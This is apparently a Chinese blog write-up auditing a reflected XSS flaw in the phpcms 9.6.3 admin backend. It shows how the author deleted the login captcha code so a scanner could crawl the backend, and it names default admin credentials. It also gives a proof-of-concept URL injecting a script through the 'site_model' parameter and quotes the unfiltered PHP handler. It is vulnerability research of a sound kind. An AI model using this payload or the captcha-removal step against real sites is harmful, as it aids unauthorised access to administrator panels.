phpcms9.6.3后台xss审计漏洞

分享一个审计思路。本次目标是phpcms最新版本
常规扫描无法进入后台,我们修改了代码让扫描器爬虫爬到后台。
漏洞复现环境:
安装Phpstudy
安装phpcms9.6.3版本20170515
安装PHPCMS程序版本:Phpcms V9.6.3 Release 20170515 [查看最新版本]
操作系统:WINNT
服务器软件:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
MySQL 版本:5.5.53
上传文件:2M
安装上phpcms9.6.3,删除管理后台的验证码的代码,主要涉及以下代码:
第一步
找到文件phpcms\modules\admin\index.php
删除以下代码(第33行)
$code = isset($_POST[‘code’]) && trim($_POST[‘code’]) ?trim($_POST[‘code’]) : showmessage(L(‘input_code’), HTTP_REFERER);
    if ($_SESSION[‘code’] != strtolower($code)) {
        $_SESSION[‘code’] = ”;
        showmessage(L(‘code_error’), HTTP_REFERER);
    }
$_SESSION[‘code’] = ”;
第二步
找到文件phpcms\modules\admin\templates\login.tpl.php
删除以下代码(第38行)
<label>
<?php
    echo L(‘security_code’)
?>:
</label>
<inputname=”code” type=”text” class=”ipt ipt_reg”onfocus=”document.getElementByIdx_x(‘yzm’).style.display=’block'”/>
删除以下代码(第39行)
<div id=”yzm” class=”yzm”>
    <?php echo form::checkcode(‘code_img’)?><br />
    <a href=”javascript:document.getElementById(‘code_img’).src='<?php echo SITE_PROTOCOL.SITE_URL.WEB_PATH;?>api.php?op=checkcode&m=admin&c=index&a=checkcode&time=’+Math.random();void(0);”>
     <?php echo L(‘click_change_validate’)?></a>
</div>
使用avws登陆扫描让爬虫进后台
用户名为phpcms phpcms
phpcms9.6.3后台xss审计漏洞插图
phpcms9.6.3后台xss审计漏洞插图(1)
跑了一段时间,发现有结果了。
pc_hash如果失效,就替换掉
Poc:
http://localhost//index.php?m=admin&c=index&a=login&pc_hash=K4KuIk&a=public_set_model&c=index&m=admin&site_model=%3Cscript%3Ealert(1)%3C/script%3E&time=0.10436825733631849
主要漏洞参数site_model
phpcms9.6.3后台xss审计漏洞插图(2)
分析:
WWW\phpcms\modules\admin\index.php
313-314行
    public function public_set_model() {
        $model = $_GET[‘site_model’];
        if (!$model) {
            param::set_cookie(‘site_model’,”);
        } else {
            $models = pc_base::load_config(‘model_config’);
            if (in_array($model, array_keys($models))) {
                param::set_cookie(‘site_model’, $model);
            } else {
                param::set_cookie(‘site_model’,”);
            }
        }
        $menudb = pc_base::load_model(‘menu_model’);
        $where = array(‘parentid’=>0,’display’=>1);
site_model没做任何过滤
总结
我们使用同样的方法扫描了大部分的cms,也发现了一些问题。
本站大部分下载资源收集于网络,不保证其完整性以及安全性,请下载后自行测试。
本站资源仅供学习和交流使用,版权归资源原作者所有,请在下载后24小时之内自觉删除。
若作商业用途,请购买正版,由于未及时购买和付费发生的侵权行为,与本站无关。
本站发布的内容若侵犯到您的权益,请邮件联系:161774035@qq.com 删除,我们将及时处理!
售页源码网 » phpcms9.6.3后台xss审计漏洞

发表评论

phpcms9.6.3后台xss审计漏洞